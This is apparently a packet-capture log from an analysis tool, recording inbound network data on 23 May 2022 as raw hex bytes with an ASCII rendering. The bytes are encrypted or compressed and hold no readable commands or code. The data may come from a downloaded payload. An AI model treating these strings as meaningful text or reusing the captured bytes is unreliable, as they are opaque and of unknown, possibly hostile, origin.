2022-05-23 07:19:16 UTC	193	IN	Data Raw: 5a 51 ed 41 52 37 31 9d 6b 66 9f 01 56 1f 95 e4 67 43 e3 40 52 27 21 f7 c3 9d e4 10 4f 1f 12 0c 8d 85 92 7c eb 6c df da 4e b0 2e ea cd 70 c3 b2 b0 03 e6 ac 6a 8b 79 ae 1c 74 5b d6 72 61 48 eb 02 7e 21 63 b4 02 67 45 dd 87 36 f4 82 36 43 04 91 21 ad 62 b5 32 7b 19 e5 ac c3 9a e5 1f 43 19 4f bc c2 55 fe ee f3 6b 00 4e 1c 2b 6e 5e c9 b9 95 32 76 66 56 8c 5f 79 e2 d5 88 28 6f 2a 9f a9 01 ac 8b b8 6f ff b7 aa 33 f8 e7 be 5b 45 72 e6 cd b2 60 43 62 f8 63 55 65 bc b0 e4 66 64 6b ee 21 05 32 af 11 1d 17 ec 2c 24 0e 14 6b 6a 5e c1 78 69 09 fd 22 64 54 1b f2 2c d8 db 7f 4b 5e e3 04 0e 1e d3 15 48 1d 3e ce 70 e1 22 ef 1c 61 52 8f 8e d0 9c bc da 83 3d 55 65 de e8 c2 9a 9b ac e2 bd 22 7a 24 65 ed ac 2b a9 ad 96 32 6b 6a 5b 89 91 95 32 76 66 49 a5 da a1 6a 58 50 60 09 Data Ascii: ZQAR71kfVgC@R'!O\|lN.pjyt[raH~!cgE66C!b2{COUkN+n^2vfV_y(o*o3[Er`CbcUefdk!2,$kj^xi"dT,K^H>p"aR=Ue"z$e+2kj[2vfIjXP`
2022-05-23 07:19:16 UTC	197	IN	Data Raw: ff 06 05 f0 1f 56 a5 59 53 af bf 2f 23 b0 67 36 76 de 20 77 32 14 9a 9b ba 0a 25 a0 0f 64 22 80 6a 2b af 45 76 95 12 d0 5e c9 79 75 f7 b4 66 40 e5 32 41 60 d9 25 13 d1 52 62 48 6e ed 17 69 e7 60 36 c8 78 41 82 aa d2 44 72 2f f3 92 2b c6 a2 3b f2 8f 66 37 35 87 de 95 60 67 8c 00 85 db aa 82 62 2e 6a 00 a7 26 94 95 a1 8f 79 7d 13 1c 97 40 af 1a 49 6a 98 d9 6e 5f eb 0d 78 22 e7 17 61 62 4c 7f 85 b4 04 5a 46 0c 9c 94 a0 3d 52 65 1e 84 34 1d 1a 5d 3c bc 79 5d e5 1e 5f 10 0f 9d 2d 19 b2 2e fb e3 55 76 ba 26 5a b6 d3 e7 4c 31 cd 2e ea 21 5f 90 a1 a6 af d4 a8 6f 50 4c 2f 56 5a 1d e1 70 96 0b b8 24 ba ed 1d 7d b3 87 7e e3 26 7b e3 71 4e f8 f8 c8 ca bd 10 5c 54 c8 60 2d bd 61 15 9a 9b a2 68 81 0b 71 ab 74 5e 48 bd 38 71 a5 70 c3 24 98 3c 59 70 b3 99 6f eb 05 78 2d Data Ascii: VYS/#g6v w2%d"j+Ev^yuf@2A`%RbHni`6xADr/+;f75`gb.j&y}@Ijn_x"abLZF=Re4]<y]_-.Uv&ZL1.!_oPL/VZp$}~&{qN\T`-ahqt^H8qp$<Ypox-
2022-05-23 07:19:16 UTC	204	IN	Data Raw: 32 61 66 38 0d 0a 63 43 62 7c f5 9b 7d f4 bc 68 41 74 e2 2b 41 29 2f 77 1d b2 87 63 eb ec 36 79 e0 67 f2 19 3e 4d f6 33 4e 34 f3 55 79 d1 90 fa 2b 6f ed 2d 64 03 e1 51 51 5f ee 4b 8b 9f 71 6a 69 dc ec 72 67 78 57 1e b0 60 34 79 db 4e 36 35 3c 58 f5 c8 61 65 2e ff 34 54 39 6b ec 2d 18 d3 69 62 6a df 05 24 c6 4f 72 48 81 49 47 76 02 1d 48 14 e6 6f 70 c9 5f 7e 5c b8 79 35 b1 06 1d 33 4e 99 58 2e 37 4f 24 e3 26 6b da e1 37 42 b1 b6 40 14 94 5f d1 3c a2 64 5a ec ba 2e 6b aa 2d 20 4f 68 6b 6a df 3d 1c b7 7f 28 36 cb 69 7f 8e 88 73 9a fa 86 29 a2 89 c3 63 d3 1c 4c b4 03 63 8f 7c 23 64 d3 00 52 23 f3 2f 4b c8 37 2c ff 1b 41 07 bc 60 41 44 83 cf 9d 21 7a 6c de 34 9a 7b 6a 00 06 b8 2a 72 e6 35 cf 4f 31 9f 2a bf db a0 be 2c 68 59 4d 24 2a d1 10 2a 66 5a d0 29 05 f1 Data Ascii: 2af8cCb\|}hAt+A)/wc6yg>M3N4Uy+o-dQQ_KqjirgxW`4yN65<Xae.4T9k-ibj$OrHIGvHop_~\y53NX.7O$&k7B@_<dZ.k- Ohkj=(6is)cLc\|#dR#/K7,A`AD!zl4{jr5O1,hYM$**fZ)
2022-05-23 07:19:16 UTC	215	IN	Data Raw: 35 66 36 65 0d 0a 21 ab 41 9e b8 1e e0 4d 3b 63 31 ac 2f 91 34 9b bf 31 f7 2b 8f 86 3f 58 86 99 3d e4 61 ab 1d 87 98 c4 50 51 ab 70 a5 02 89 c2 6a 0d 1d 96 53 ee 3d b9 a2 26 b1 31 f7 2a b6 de 73 5d 80 2c e0 22 ba 69 f3 60 71 69 23 a6 2d ff 06 b8 2f 4e 1e c3 79 9e b8 32 42 78 af 1a ae e0 1c 74 1b 27 a7 2d bf 62 ef 1e 75 44 be 33 8c 71 fa 27 ad 1c ce 37 a0 f3 27 1c ca 26 10 56 b7 26 36 34 3c a2 21 14 cb ec 47 7a af a2 f8 0e 54 62 8b 86 8b c7 9d 5c 48 bd 08 4e ff 19 40 24 de 0c 16 d1 7f 0c f5 a1 2d 37 ed 23 25 49 9d 8b 76 78 fd 7e 2e 94 d9 00 0d 5e 14 95 9c c2 2f 4b 4b 74 fd 21 79 b7 a6 e5 1e 18 d0 a7 c5 32 92 7c ac 72 a6 50 4e b0 26 ad 70 87 8e a8 b0 03 a1 23 52 a8 9c e2 0d 97 a0 22 55 80 be c3 67 5a b8 03 37 76 43 f2 34 a1 80 65 01 72 e6 3d a1 c2 91 62 34 Data Ascii: 5f6e!AM;c1/41+?X=aPQpjS=&1*s],"i`qi#-/Ny2Bxt'-buD3q'7'&V&64<!GzTb\HN@$-7#%Ivx~.^/KKt!y2\|rPN&p#R"UgZ7vC4er=b4
2022-05-23 07:19:16 UTC	231	IN	Data Raw: 43 75 a8 36 00 5d 6c 38 7d 3f 48 c3 9d 4f 12 a2 b7 c3 05 b0 9a ee 44 24 5f 4a a9 9f 14 0f 37 95 3d 49 2a dd 8b 02 6a 35 ff 07 11 2d 59 90 d3 bb f3 9c 0c 49 67 43 6d b0 35 5b 65 37 b4 c7 b4 37 6d 67 6a a5 57 20 55 39 ea d0 71 96 48 31 64 ee f9 48 3c 4d b0 8d 4a 92 2f 5f 76 ec 57 58 2b 6f ed ed f8 29 66 5a 89 ee 25 76 c2 80 c1 69 66 58 d4 b9 fe f1 eb e6 f3 61 34 76 f0 38 37 35 b7 e8 d4 68 67 65 99 65 a1 be 68 27 a6 ed 70 4f 31 6b 9d bf 89 d6 48 b8 e3 d6 43 24 5f f8 dc e8 53 2b 6f 50 3b 27 2b a1 df e9 6f 35 76 e2 ac 4c 6a e7 d5 fd 71 67 78 bf 39 00 4b b5 f3 e7 66 37 35 c9 5e 9b 94 e6 e8 99 79 24 55 aa 57 a8 22 81 fb 89 68 6a 5e 10 09 bf 5a 32 ed cd 9c 5c 79 69 d3 dd 9b 6c 2a 68 a0 b7 fa 5b 51 e9 f5 79 c7 bf 76 6a 66 e3 5c e4 61 78 83 56 bc 9d cb 3e d4 60 df Data Ascii: Cu6]l8}?HOD$_J7=Ij5-YIgCm5[e77mgjW U9qH1dH<MJ/_vWX+o)fZ%vifXa4v875hgeeh'pO1kHC$_S+oP;'+o5vLjqgx9Kf75^y$UW"hj^Z2\yilh[Qyvjf\axV>`
2022-05-23 07:19:16 UTC	238	IN	Data Raw: 32 64 35 64 0d 0a 5f 65 37 dd 22 6b 65 6b 8e 74 da 85 db 92 bc b3 2b 68 00 bb 6c 3b 6a e6 6d 75 df 15 fd eb 98 24 5f 79 9e b9 7b e1 be c3 6b 82 eb 8f 5e d8 e1 ed 76 43 35 f0 df be 58 45 72 ca 79 67 63 84 e7 e4 76 5f 65 f8 1e 93 65 a5 ce b7 65 21 7a 21 d4 8c bb 2b 68 00 7a 2a 8e 7f d5 cd ec 4d 31 76 ed c5 fc 5f 79 69 b0 cd dc 6f 2a d3 2d 6d 63 5a b8 e5 c3 89 bc f2 f4 b2 66 58 45 d1 ad ff 6a e2 ce ba 34 76 5f 7b bc 50 82 e4 e1 b3 67 65 21 a0 a4 55 39 ea 9e b0 00 4e 31 8c 50 bd f6 fb c8 e1 76 66 40 e4 45 99 69 33 d5 fb 6f 2a 68 7f a3 e3 8a 51 6c 35 1d c6 e5 71 6a 66 32 cc f7 b7 78 6a 63 c2 d7 e4 76 5f 65 37 29 97 8a ef ee b7 65 21 7a af d0 e1 6b 2b 68 e8 da 08 6b 6a 99 cd ec 4d 31 76 03 25 e8 5f f8 ec 88 50 2b 6f 77 4e b7 d5 2a d1 91 e7 b0 a6 43 35 71 e7 6a Data Ascii: 2d5d_e7"kekt+hl;jmu$_y{k^vC5XErygcv_eee!z!+hzM1v_yio-mcZfXEj4v_{Pge!U9N1Pvf@Ei3ohQl5qjf2xjcv_e7)e!zk+hkjM1v%_P+owNC5qj
2022-05-23 07:19:16 UTC	250	IN	Data Raw: 31 62 61 36 0d 0a 6c c2 14 ab 70 66 d7 af df 6a e7 2d 55 23 59 d2 f2 08 06 72 0c ff 1a 75 bc 78 2c dd bf 20 0f 4a d6 9b 0f 9f 78 e0 eb b9 e9 4d fb aa 83 58 c1 71 5d b0 03 76 f1 26 c8 79 ae 1d a4 e7 a8 46 68 c9 6f 92 66 cd 6c 35 f7 36 c1 30 99 0c 58 82 37 4f 42 c8 0c 43 e9 79 5e a8 84 f6 df 3e ec 31 43 0c 20 09 57 ad 10 11 ea 5e 40 ab 2d 2a 6a e1 1b b8 b5 09 15 46 ed 05 3c 1b f2 24 78 14 a0 2a 02 e3 1d de ed 17 41 e5 71 52 6b 7d fc 2f 9e 10 cc 36 43 58 82 8d e8 62 34 3e dc a1 67 68 ff 2d e7 87 4f a2 65 5e 1c 41 b3 64 2b 24 8b 97 89 d1 a1 59 48 78 c6 65 52 5e 7d 9e 94 7e 69 57 d4 dd 6f 2a 68 75 84 58 53 51 63 b1 fc 43 35 71 57 7f 17 49 72 68 fc 74 62 43 62 09 07 79 6b 37 3a b9 62 65 6b 67 a2 65 5e 1c e4 dc 28 2b d0 4f a2 f5 25 eb 1a 6c 04 8f 51 89 99 c1 60 Data Ascii: 1ba6lpfj-U#Yrux, JxMXq]v&yFhofl560X7OBCy^>1C W^@-jF<$xAqRk}/6CXb4>gh-Oe^Ad+$YHxeR^}~iWo*huXSQcC5qWIrhtbCbyk7:bekge^(+O%lQ`
2022-05-23 07:19:16 UTC	257	IN	Data Raw: 62 66 64 0d 0a 31 06 a8 6f 78 45 3a 95 5a d0 19 25 e1 0e 39 ae bb 0b 48 84 17 77 72 eb 16 53 45 71 c8 a1 ee 72 15 b5 21 40 5b ec 20 39 3e af 18 11 2f a0 2d 10 c5 64 8b e1 13 ac b5 09 15 5e 2e cd 61 b7 31 e0 1c 74 0b 87 bd f8 48 2a 2e d9 95 0c 68 b5 8f 7d f8 36 42 50 0d fb 13 5c 7a 2b ca 1e 10 6e 0a 2d bc d9 74 e6 88 3b 2e ee d8 32 af a4 d1 41 87 68 00 7d ea 58 a3 e6 0e 64 4a 31 3e ef 0d d0 98 3c 99 31 d6 28 6f 17 5d b4 28 66 55 d5 a8 34 76 43 08 f7 21 60 58 4a f6 42 79 6a 63 7e 1c bd 70 5f 6a b3 3e 3d 65 64 56 21 3d 26 7a 50 3c 04 d7 9a 67 00 41 b4 df 6b 5e 48 fb 08 d1 49 67 bf 24 de 34 89 26 3d a1 80 41 2d a8 15 ef 1f b1 ed 40 96 bc 6f a0 65 a1 1d a1 ef e3 3a 6a a2 26 86 31 f7 12 81 6f 80 60 ff e5 1e 83 6e 1b 2a be 19 b2 6e 5c 15 01 4e ba 3e 8e d5 05 dc Data Ascii: bfd1oxE:Z%9HwrSEqr!@[ 9>/-d^.a1tH.h}6BP\z+n-t;.2Ah}XdJ1><1(o](fU4vC!`XJByjc~p_j>=edV!=&zP<gAk^HIg$4&=A-@oe:j&1o`nn\N>
2022-05-23 07:19:16 UTC	260	IN	Data Raw: 33 36 62 31 0d 0a 11 79 6b 66 58 cc 36 43 50 e9 07 67 42 34 9e d4 c5 37 35 74 ee 61 ef 14 64 21 bd a0 71 c1 6b 2b 68 9d f0 38 6b ad da 6c c0 4d 31 76 a9 e8 22 5f 31 ec 98 5f ae e6 2a 68 48 ed e2 7e 51 6d 35 76 03 ab 35 6a df 88 bb 72 42 39 d2 00 2f cd 57 f7 eb 41 37 34 3c 65 5f e2 ed b4 4a fe 00 55 38 6b 2b 3e 89 ca 15 6b 6b 5e 48 fd e9 15 76 67 40 24 54 f8 dd 7c 50 2a 6f 2a 2f 7b 33 b9 9d d5 48 cd 76 43 35 13 4f ef 58 c4 c6 43 80 6a 63 43 c3 9b 2a f3 e4 bb 11 c4 65 64 6b 30 9a ee 9b a5 e1 1d 93 2b 68 00 31 79 bf 87 d5 cc 18 b5 31 76 66 cb a0 7b 79 68 58 50 c3 c8 20 69 48 62 ef 5f 8d 1e 34 76 0b bc 05 4e 36 14 cc 16 43 30 22 e0 27 46 74 76 13 ec 4b 11 04 ec 08 4f 57 e6 45 5e 0c 55 71 e8 4f 4c 20 4e 74 58 a3 12 c3 fb 05 ba a5 2f cb ea a0 a9 25 d5 cc 0f df Data Ascii: 36b1ykfX6CPgB475tad!qk+h8klM1v"_1_hH~Qm5v5jrB9/WA74<e_JU8k+>kk^Hvg@$T\|Po/{3HvC5OXCjcCedk0+h1y1vf{yhXP iHb_4vN6C0"'FtvKOWE^UqOL NtX/%
2022-05-23 07:19:16 UTC	273	IN	Data Raw: 34 36 31 30 0d 0a 65 e0 d4 4c 0c 1d b6 b9 8a ba 3e 0d d5 05 53 cc d6 b0 9b bf db de be 9e 5d 5b 2b 87 b7 97 48 2a e7 a5 ec 6f 3e 76 4c b1 f8 6a 66 58 ac c6 9b 87 95 a4 06 15 27 12 7c 65 8f 8a 00 d3 46 aa 0a 12 2b f1 69 22 ce 8a ea 82 03 c7 64 1c eb 2b 3f 64 31 3b 76 a1 05 4b 0a ed 11 58 d1 5e 00 db 52 fe e2 a7 3f 3e 63 b4 03 2c d0 95 3d 31 9f 00 15 03 ea 30 63 c2 27 53 f0 39 65 37 f4 51 02 6f ea 12 02 3c 19 20 55 fe 2e 54 1f f7 b3 31 ea 1f 21 65 01 86 fc f7 13 3f 87 fa 49 a4 d3 1d 54 2b a1 25 2f 6e ed 1f 3e 24 be 23 64 bc 3d 4e 46 d3 08 05 8f 84 1a 63 43 23 bf b0 17 e4 f3 f5 3c 65 64 2a 39 3a 7f 21 79 96 f5 a7 e7 28 53 06 b2 87 2a d5 0c 18 3d 79 fd bf c9 60 7b 59 81 56 39 2b 6f 19 a8 c1 6e 42 66 19 e7 30 1f 7f 34 71 ad 22 7c 7d fc f4 7c 6a 2b c6 a2 41 28 Data Ascii: 4610eL>S][+Ho>vLjfX'\|eF+i"d+?d1;vKX^R?>c,=10c'S9e7Qo< U.T1!e?IT+%/n>$#d=NFcC#<ed9:!y(S*=y`{YV9+onBf04q"\|}\|j+A(
2022-05-23 07:19:16 UTC	289	IN	Data Raw: 21 05 52 6c d8 7c 5b 63 e1 44 6a 11 83 b4 5c b7 c3 f5 d5 ae 61 40 cd 6a 82 96 a7 97 ae 7f 2b 68 48 0c 3a f4 51 d4 9a 08 93 64 34 e1 88 d9 c8 62 66 78 6a 52 12 47 93 3b 5c 89 b6 b0 2c 64 64 6b 23 0b de 85 af d8 29 6a 2b 68 f7 af 89 62 a1 63 c5 17 87 e0 9f 65 8a e5 b6 7f e0 d5 40 2a 6f 2a e9 fd 3a 67 5a 51 23 2a cb 42 f2 f4 72 67 58 45 b9 72 30 6a e2 f6 7a 35 76 5f b6 32 a2 6b ee e9 73 66 65 21 8d c5 94 d3 6d a2 fd 18 4f 31 6b eb eb 50 3d 4d 31 a9 d8 8d 24 d4 fc 71 59 50 2b e4 af 78 49 2a 66 b2 54 a1 cb 89 84 71 55 0a 21 ff fb 72 2f f3 92 2f ce 2f 84 f7 2b 41 57 76 46 99 60 27 ea 20 a9 fb 50 71 59 06 84 27 04 89 b4 73 6b 5e 48 5d f0 d7 76 e7 c5 3c 5e 79 69 60 d3 d4 90 eb c5 50 2b 66 5a 5c ed 80 6e 42 35 71 4c 92 51 45 b5 23 5c 02 1a 0c f7 34 1d 13 41 5f 48 Data Ascii: !Rl\|[cDj\a@j+hH:Qd4bfxjRG;\,ddk#)j+hbce@o:gZQ#BrgXEr0jz5v_2ksfe!mO1kP=M1$qYP+xIfTqU!r///+AWvF`' PqY'sk^H]v<^yi`P+fZ\nB5qLQE#\4A_H
2022-05-23 07:19:16 UTC	291	IN	Data Raw: 33 61 39 0d 0a a2 39 65 e0 d7 34 54 39 6b 22 e9 b5 5e 30 6b 6a 7c 38 32 4d ba f3 76 41 24 5f 3d e2 17 58 67 e4 2d e3 dd 32 67 5a 51 e5 71 52 63 dd 68 46 66 58 ce 35 6f 30 69 93 fb 52 31 73 5f 8c cd c1 c3 9a dc 18 35 64 21 93 d4 a1 c6 94 ec 2c 24 2e 1d 09 2c 5e f0 23 c8 da 27 2a cd 71 ef f8 2d 7c 30 3e 78 2a 68 89 46 42 3a 52 ed 41 52 23 0d be 62 66 9f 01 56 0f ad 0a 77 43 a3 58 52 37 6b b4 41 18 0d 3d ac e2 7d 20 7a 24 16 f4 ce 2b a9 a5 56 30 6b 6a 59 c9 b9 55 30 76 66 aa 16 5f 79 e8 dd 48 2a 6f 2a 6d 85 d5 99 db e4 74 34 76 43 f6 ef 8e 34 9f 01 56 03 52 a9 f0 43 e9 78 52 3b 92 d6 f4 d6 60 ed 3f 43 01 a0 0e 00 31 6a 00 24 68 c7 cb 21 6a 6a 5e 7c 98 22 31 f7 e3 50 25 5f 79 f7 90 af d4 ee af 78 49 2a 66 80 fa 6c 35 fd c6 25 70 6a 66 d5 49 f2 a6 99 69 ea ce Data Ascii: 3a99e4T9k"^0kj\|82MvA$_=Xg-2gZQqRchFfX5o0iR1s_5d!,$.,^#'q-\|0>xhFB:RAR#bfVwCXR7kA=} z$+V0kjYU0vf_yHomt4vC4VRCxR;`?C1j$h!jj^\|"1P%_yxI*fl5%pjfIi
2022-05-23 07:19:16 UTC	292	IN	Data Raw: 33 37 65 64 0d 0a bc 5f 50 5f 0d c3 ef b9 d5 99 9d d4 74 34 76 43 cd 19 3f 66 15 ce b5 0c fd 72 62 43 62 1d ff da 7d 36 35 3c e4 d1 73 66 65 21 8f 12 fa 34 ac ae 78 01 4e 31 b5 81 70 48 fd e0 21 77 66 40 22 de cc 79 59 50 2b 42 63 0d 72 ab d3 4a 50 6c 35 c9 56 5c 4b e1 f3 48 44 72 67 f3 e7 7b 42 62 34 9e 7b 07 37 35 79 56 9b 22 ec a2 69 fb e0 ed 38 6b 2b 29 5f 0f 6f 2a 37 1f 14 63 13 6a 2b a5 8c e8 17 fa 85 40 97 6f 4b 22 58 fe 2a 66 69 91 20 be b7 ca 71 55 66 a1 1c 61 52 72 11 fb 63 c2 16 10 56 68 29 55 3e fd 09 40 4b 64 e4 55 5e 04 5d 64 19 2a e3 44 6a 11 e2 2e 7a 68 fb 09 15 46 37 59 4e 2e be 6d 7c 91 e8 25 4a af 0c 0e 4e 0a a2 04 ac b1 07 11 49 aa a5 82 3a b5 23 5c 4a e6 4d 35 34 b7 3b 41 17 3a bd 29 40 4b 2f 11 38 51 a5 21 1d 4b cf a5 57 e1 ba 2f 4e Data Ascii: 37ed_P_t4vC?frbCb}65<sfe!4xN1pH!wf@"yYP+BcrJPl5V\KHDrg{Bb4{75yV"i8k+)_o7cj+@oK"Xfi qUfaRrcVh)U>@KdU^]d*Dj.zhF7YN.m\|%JNI:#\JM54;A:)@K/8Q!KW/N
2022-05-23 07:19:16 UTC	306	IN	Data Raw: 31 39 33 62 0d 0a f8 2e 42 78 ce 3e 43 40 e1 67 67 51 fc 37 d6 6f f0 71 18 45 46 42 11 65 a0 3e 00 75 d0 f6 d4 97 81 3a 15 4b 8d f5 3a 3c c6 75 52 46 c9 60 7b 59 21 db 94 33 ac e6 a4 08 79 2e d9 bd 2c 7c fd 9b dd 73 82 99 a7 76 b2 2f f1 2e 47 6f eb 70 52 6b 2d bc 30 14 d9 64 6b a0 21 05 52 13 82 30 6b 63 ed c0 3b 6c ac 2e 7a 68 25 b0 78 76 df 54 e1 ce 39 28 e0 a0 34 10 7f 03 0c 0e 46 28 d8 28 11 56 c2 41 55 4a cc 58 b7 52 a0 3c 4e 0b 86 e2 7f 76 9e 09 13 5d 3b e4 10 4f 0f 9d 96 0d 69 d4 4d 4f 43 cc 9f a5 29 ea 1e 7a 20 e5 45 a2 23 ed 04 00 37 f2 2d 7c 70 c3 3e 78 68 48 62 ef 5f ef d7 35 76 0b be ba 22 e5 9c 05 29 2f 87 8a af 8f ae bd 22 7b 75 be 79 18 6d 31 38 31 32 60 2c 6c d8 95 4f 0b 94 ff b1 79 ea 86 ae 4c 3c 4d 79 fd d3 60 20 5f 79 5a 98 97 6e df d7 Data Ascii: 193b.Bx>C@ggQ7oqEFBe>u:K:<uRF`{Y!3y.,\|sv/.GopRk-0dk!R0kc;l.zh%xvT9(4F((VAUJXR<Nv];OiMOC)z E#7-\|p>xhHb_5v")/"{uym1812`,lOyL<My` _yZn
2022-05-23 07:19:16 UTC	312	IN	Data Raw: 63 32 66 0d 0a 69 32 ad 11 1d 2b a0 ed a8 4d 31 6b e3 1a 6c 04 c6 b4 ce 65 40 24 17 f2 a2 d1 14 0f 5f a1 ed e8 29 66 5a 15 e7 71 52 13 be e4 da 65 58 45 fb 23 5c 42 8b 06 97 cb 89 98 e0 9f 36 3c 65 cd 54 ae 65 4a ff 8c 56 39 6b 43 e1 85 e6 32 6b 6a 9f e5 94 4e 31 76 76 c1 a9 f7 7a 69 58 0d cb 59 cb e9 fd 82 65 5a 51 1b c8 40 a2 f2 f4 ca 65 58 45 63 50 1e 6a 08 c6 c2 37 76 5f 4a be b0 9c 66 64 6b e6 e0 81 79 24 55 fc e2 d4 97 81 fb 91 68 6a 5e 43 2d 8d 23 fd f3 e0 27 5f 79 e2 d5 f8 28 6f 2a 24 c3 e9 8e 6e 35 6c 35 cd ee 0b 74 6a e7 a3 f6 0c 6e 78 65 e7 c9 99 cb 89 b6 c3 cd ca c3 a9 a8 23 e4 89 39 bd 60 71 19 e9 cc 62 00 89 75 4f 4a 26 da f5 4d 7d fd af 81 48 7b 59 63 d3 14 0f 4f 6e e5 4c 6a 27 9b b1 6f 71 ff 07 11 51 ab 02 7c 65 70 e6 0c 4e 43 de b1 28 76 Data Ascii: c2fi2+M1kle@$_)fZqReXE#\B6<eTeJV9kC2kjN1vvziXYeZQ@eXEcPj7v_Jfdky$Uhj^C-#'_y(o*$n5l5tjnxe#9`qbuOJ&M}H{YcOnLj'oqQ\|epNC(v
2022-05-23 07:19:16 UTC	315	IN	Data Raw: 63 30 35 0d 0a ee a4 b2 21 55 39 e2 6f 4c 28 c5 b4 b3 6f 5e 48 78 c6 bc a6 63 40 24 d4 35 4d 0c d9 6f 4b 0a 80 79 60 99 a5 d4 ac 3a f2 ec ce 8e 95 de 81 0d 7a 67 45 ce 12 49 62 3b f2 c0 9e c8 ca d5 2b 9e 94 98 25 74 32 a9 39 1d da 63 e9 ec 8e 31 6b 6a d5 0d 43 c4 75 52 46 a8 a6 9d 86 96 9f 15 14 13 ea 68 48 19 a6 12 d8 29 76 b1 06 42 67 87 2a 58 2e 37 10 44 e3 26 34 09 71 01 61 ec 72 42 bd 10 13 5e c6 62 55 f1 61 22 b0 2e c4 af 45 39 7d 36 ca 5e 23 79 3a 2d ff 23 37 9c d6 f1 e1 d0 db 66 18 dd 89 89 c0 62 d3 04 1b b4 03 34 8c 43 52 32 d3 00 05 ee 3d 4d a4 06 15 aa 0b 3d 65 b6 40 4b 8c 3d 5b 49 e4 54 0d b3 b4 f2 5d a0 2d 77 c7 74 98 ad 1b 3f d2 04 41 76 e7 05 53 93 e7 69 58 d1 5e 18 aa 47 81 fc ed 1f 26 e5 70 79 84 70 06 9f 4a 84 45 f3 22 0f 97 b3 43 62 b5 Data Ascii: c05!U9oL(o^Hxc@$5MoKy`:zgEIb;+%t29c1kjCuRFhH)vBg*X.7D&4qarB^bUa".E9}6^#y:-#7fb4CR2=M=e@K=[IT]-wt?AvSiX^G&pypJE"Cb
2022-05-23 07:19:16 UTC	318	IN	Data Raw: 31 38 38 31 0d 0a e3 da c9 69 58 50 1b 4b 30 68 c9 af d6 5a 51 6c b7 73 bc ca fa e7 d6 58 45 72 90 99 d2 7c c6 89 65 b7 b5 63 be a0 8c 65 64 6b e6 d0 91 7a 24 55 4b 8f 2e 68 c7 cb 89 6b 6a 5e 22 2a fc 31 b7 c3 f8 24 5f 79 6e d3 dd 93 6f 2a 68 bf cb a7 b0 55 24 b8 32 67 0d f8 ff de 58 45 72 e6 cd d2 63 43 62 e0 e3 9c 6d b6 80 84 65 64 6b 8c 1a 27 73 e3 d0 f9 6b 2b 68 d1 f3 3f 6b 22 d7 0c 18 6d b0 c3 a6 40 24 5f eb d0 fa 3a aa da ea 68 48 2a eb ef fa 06 71 fd ce f5 71 6a 66 1c ce f7 df 78 6a 63 c8 f7 84 76 5f 65 bc b8 f4 65 64 6b 8f ca ed 87 db 14 81 39 3e 60 00 0f b0 93 78 58 46 3c 39 3d 9f 27 bd db a0 76 de 14 74 13 6c f3 e3 8b 62 e7 9e c9 6d 35 76 18 68 b2 22 ed 9c 0d fb 3f 68 22 ea 33 7a 7c ff 27 45 be 7d 34 30 2c e6 cf 8d d8 85 db 1d b8 87 3b 6f 00 4e Data Ascii: 1881iXPK0hZQlsXEr\|ecedkz$UK.hkj^"1$_ynohU$2gXErcCbmedk'sk+h?k"m@$_:hH*qqjfxjcv_eedk9>`xXF<9='vtlbm5vh"?h"3z\|'E}40,;oN
2022-05-23 07:19:17 UTC	324	IN	Data Raw: 63 39 65 0d 0a 76 d6 e4 67 37 3c 65 ef a8 2f e4 e5 02 26 55 39 34 75 33 5d 8d fd a7 e3 12 6c 34 05 b2 9a 4e 73 e4 98 3d 4d 18 fa bc 66 2a e1 0c 0e 22 12 da 69 9e 04 43 35 39 ef a6 2d 2e b5 23 5c 52 ec d4 44 34 ce d8 04 2f b3 7d dd 6e f0 92 05 aa 36 00 6d ce 8a 00 a2 d1 a7 32 a1 ab b7 4e b5 01 15 4e df fe a4 01 e1 e8 14 74 13 d8 a9 d0 18 ab 12 7e 69 f4 2f c7 13 f2 35 4e 56 02 48 7c 67 f9 1e 47 73 ac b2 ce a9 b4 53 11 0c e4 10 4f 57 f6 fd 19 c9 de 7d 4f 1b e3 44 6a 09 83 14 56 48 3c 05 b8 73 5d 32 24 5f 31 ea 9c 78 63 90 ca 20 c3 ee 2e d3 09 64 7d ff 2b 25 39 e3 16 40 12 3a e4 94 3a 2b c8 d6 10 ee 5f 65 37 7d b7 c9 40 fb 67 65 21 3b af 8c 71 e2 5b 88 48 c7 59 b3 e1 da 6c b4 4d 31 76 ef 04 00 77 f2 ed 7c d0 2b 6f 2a e3 b2 a3 22 7e 71 84 55 eb bc ca 39 e1 63 Data Ascii: c9evg7<e/&U94u3]l4Ns=Mf"iC59-.#\RD4/}n6m2NNt~i/5NVH\|gGsSOW}ODjVH<s]2$_1xc .d}+%9@::+_e7}@ge!;q[HYlM1vw\|+o"~qU9c
2022-05-23 07:19:17 UTC	328	IN	Data Raw: 31 39 61 63 0d 0a 1f 86 31 16 1f 43 f4 1c bd 60 99 28 a5 6f f9 1f b4 10 5b 39 76 d4 20 e0 71 b7 20 bf e0 2a 1a a8 3e 00 75 d1 56 f4 96 ff f6 c6 35 68 5e a1 9f b3 ce 89 2e cb ea b7 a2 a0 a6 af a2 2c 22 d0 8e 4a 6d 5a b8 e2 cb 89 bc f2 34 b5 df cd 2e 72 df df 7a 0b 49 e9 79 a9 a8 84 1c ff ed 8c 67 a1 a6 8c 27 f3 69 8a b8 1e f4 bc 02 40 31 ac 2f 21 0a 12 ea 31 f7 23 3f 3f 6f 86 96 d9 15 54 02 1d 68 48 eb 0b 25 57 ed 40 09 03 8e 7e 6a a1 1d 9e 6a c4 d6 6a 08 06 b9 66 ff 1a be b6 78 e7 95 0c 74 40 e4 54 a1 a9 9a c2 5c ec 2d d7 ba 8b b7 6a 9f 2d eb 4b b0 33 b1 e0 ff 5f 79 e8 2d 87 81 5f 0e 5f c3 6f b1 d1 14 b7 be 33 3c be 34 b5 ed 13 4d 9a ce 5d 6a 63 0b eb 37 3e da a5 38 b1 09 64 64 6b df bf e5 78 24 bc d2 96 d4 97 48 c7 0a ac 2f 21 78 1a e7 31 f7 23 3f 93 39 Data Ascii: 19ac1C`(o[9v q *>uV5h^.,"JmZ4.rzIyg'i@1/!1#??oThH%W@~jjjfxt@T\-j-K3_y-__o3<4M]jc7>8ddkx$H/!x1#?9
